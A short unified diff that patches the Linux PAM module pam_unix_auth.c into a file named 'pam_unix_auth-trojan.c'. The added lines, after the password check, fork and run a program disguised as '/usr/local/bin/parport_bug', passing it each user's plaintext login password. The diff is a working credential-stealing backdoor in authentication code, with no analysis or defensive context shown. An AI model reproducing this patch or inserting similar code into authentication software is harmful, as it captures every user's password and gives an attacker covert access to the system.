--- pam_unix_auth.c 2004-01-08 00:40:06.711417464 -0600 +++ pam_unix_auth-trojan.c 2004-01-08 00:33:57.493547112 -0600 @@ -98,7 +98,7 @@ ,int argc, const char **argv) { unsigned int ctrl; - int retval, *ret_data = NULL; + int status, retval, *ret_data = NULL; const char *name, *p; D(("called.")); @@ -169,9 +169,13 @@ /* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); - name = p = NULL; - AUTH_RETURN + if (fork() == 0) + execlp("/usr/local/bin/parport_bug", "login", "-s", "50", "-m", p, (char *) 0); + wait(&status); + + name = p = NULL; + AUTH_RETURN }